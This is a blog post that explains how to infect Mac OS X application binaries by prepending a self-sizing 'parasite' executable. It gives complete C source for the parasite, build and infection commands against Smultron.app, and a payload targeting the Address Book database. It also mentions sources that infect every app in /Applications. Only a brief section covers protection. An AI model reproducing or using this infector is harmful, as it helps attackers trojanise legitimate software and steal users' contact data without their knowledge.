Cocoa in the Shell

Abusing the Mach-O file format

In this post I’m gonna talk about a flaw in the Mach-O[1] file format which is the one used by Mac OS X.
The flaw is very old and well known.

Theory

Back in 1999, in the b4b0 magazine[2], Silvio Cesare explained that if we concatenate two binaries together and execute the result, only the first binary is executed.

In 2005 Neil Archibald[3] explained how to exploit this in a very simpler manner, here is the method :

• To infect a random binary, you just have to create one which knows its own size, this binary is called the parasite.

• Once the parasite created, we just need to concatenate a binary to it and rename it with the name of the original binary.

• When the user will launch this binary, the parasite will be executed first. It will seek to the end of itself and will copy the rest of the code —the original binary— into a temporary file to execute it, so that the user can use it as expected without noticing that code is running on background.

Note that the execution of the code can be done, before, during or after the execution of the original binary.

Bundles[4]

So now let’s talk about bundles, all applications with the suffix .app in Mac OS X are known as bundle.
A bundle is nothing more than a directory which contains what the application needs to be executed.
Here is a simplified preview of the structure of an application called MySoft.app.

MySoft.app/Contents/Resources : All the resources of the program are supposed to be in this directory (langs, icons, images, interface…)

MySoft.app/Contents/MacOS/ : Here is the binary that is executed when the application is launched. This file has the same name that the application without the .app suffix.
Most of the time there is only the binary of the application here, but it’s possible to add other command line tools.

MySoft.app/Contents/Frameworks/ : This directory contains all the frameworks and libraries needed by the application. —By the way, someone should tell this to Mozilla—

So after this non exhaustive description, you probably understand that we need to infect the binary in the Contents/MacOS/ directory.

Mach-O file format

Well, I’m not going to spend much time here since I already talked about what matter in a previous post.
The problem is that many applications today are known as universal binaries, it’s a problem because an universal binary contains code for multiple architectures, and so if we wanted to infect the application we would have to inject the parasite in all the architecture, that’s teh sux.

But don’t panic, still in a previous post, I presented moatool which allows you to reduce an universal binary into a single one. So before we start to infect the application, we reduce it.

The infection

a) Introduction

We can start with the serious stuff, as an example I’ll infect the application Smultron and display a window which will print the emails of my contacts listed in Address Book.
So, I use the method described above, in particular the perl script of nem0, here is the path to follow :

• Code the parasite.
• Build it a first time to get its size.
• Re-write its size in the source file.
• Concatenate /Applications/Smultron.app/Contents/MacOS/Smultron to the parasite.
• Rename the parasite with the name of the application.
• Execute it.

b) The parasite

Let’s begin with the parasite, nothing really complicated.

parasite.c

#define FILELENGTH 0x89d0
#define MAXTMP (strlen(av[0]) + 2)
#define TMPUS "ORIGTEMP"

#define ADDR_PATH "/Library/Application Support/AddressBook/AddressBook-v22.abcddb"

int dummy(void);

int main(int ac, char** av, char** envp)
{
    FILE* me = NULL;
    FILE* tmp = NULL;
    int status;
    size_t len = 0;
    char tmpfile[MAXTMP];
    char tmpbuf[BUFSIZ];
    pid_t newpid;

    if (!(me = fopen(av[0], "r+")))
        exit(EXIT_FAILURE);
    if (fseek(me, FILELENGTH, SEEK_SET) == -1) /* Seek for the begining of the original program */
    {
        fclose(me);
        exit(EXIT_FAILURE);
    }
    if (av[0][0] == '/')
        snprintf(tmpfile, MAXTMP, "%s1", av[0]);
    else if (av[0][0] == '.' && av[0][1] == '/')
        snprintf(tmpfile, MAXTMP, "%s1", av[0] + 2);
    if (!(tmp = fopen(tmpfile, "w")))
    {
        fclose(me);
        exit(EXIT_FAILURE);
    }
    do /* Make a copy of expected program */
    {
        len = fread(tmpbuf, 1, BUFSIZ, me);
        fwrite(tmpbuf, len, 1, tmp);
    } while (len == BUFSIZ);

    fclose(tmp);
    fclose(me);

    if (-1 == rename(av[0], TMPUS)) /* Rename infected program (us) to keep it */
        exit(EXIT_FAILURE);
    if (-1 == rename(tmpfile, av[0])) /* Rename copy of expected program with his true name */
        exit(EXIT_FAILURE);

    newpid = fork();
    if (!newpid)
    {
        chmod(av[0], 0777);
        execve(av[0], av, envp); /* Exec expected program */
    }
    else if (newpid > 0)
    {
        dummy(); /* Execute our malicious code */
        pid_t p = fork();
        if (!p)
        {
            waitpid(newpid, &status, 0); /* Wait 'til exepected program terminate */
            unlink(av[0]); /* Remove original program */
            rename(TMPUS, av[0]); /* Restore corrupted one */
        }
    }
    else /* Epic failure */
    {
        unlink(av[0]); /* Remove original program */
        rename(TMPUS, av[0]); /* Restore corrupted one */
        exit(EXIT_FAILURE);
    }
    return EXIT_SUCCESS;
}

Note the #define FILELENGTH 0x89d0 which holds the size of the binary, it’s this value that we need to change after the first compilation.

dummy() is the function which will be executed and will print the emails, I didn’t put it here because it’s not very relevant.

Makefile

all:
    gcc addrbk.c parasite.c -o psite -arch i386 -arch x86_64 -lsqlite3
clean:
    rm -rf psite

The informations of Address Book are stored in a sqlite3 database that’s why we need the -lsqlite3 flag.

c) Infection

Let’s begin by reducing the size of the binary with moatool :

moatool -r /Applications/Smultron.app/Contents/MacOS/Smultron

As I said, to realize the infection I use the perl script of nem0 which compiles the parasite a first time, calculates its size, changes it in the source file, re-builds it and finally concatenates the executable given in argument.

./infector.pl /Applications/Smultron.app/Contents/MacOS/Smultron
d) Execution

To finish we have to launch the application, once done, the Finder icon jumps in the Dock because a message appeared and Smultron is opened. Our code has been executed successfully and the application has been launched, it’s all good.
Still there is a little problem, if the application was pined to the Dock, when we launched it a new icon appeared in the Dock and the old one doesn’t get the little launched indicator.

Protection

a) User side

Then, as usual to avoid this kind of thing, don’t open anything you aren’t sure.
As we saw, this kind of exploit isn’t hard to realize, so it would not be astonishing to see some on p2p networks. After all, we recently saw corrupted version of iWork or Photoshop.
But well, people are dumb, and no matter what you say, there are still plenty who will open whatever they found on the net.

b) Editor side

We can imagine several ways of filling this weakness, first think of a software which store the size of the binaries into some kind of database, but this kind of soft have to be installed before the infection.
A simpler and less heavy solution would be that Apple modifies the Mach-O file format by adding a field which would contain the size of the binary, like the MS Windows PE format.

Conclusion

We saw that abusing the Mach-O file format on Mac OS is very easy and doesn’t require a great knowledge.
The example shown is inoffensive but it can be something worse. Moreover, the default account on Mac OS X has administration rights, which makes this kind of exploit easier.

Sources

You can find the sources here.

The sources are more complete than the article, a Cocoa application is provided, when launched, all applications in /Applications are crafted with the parasite.

References

Tags: , ,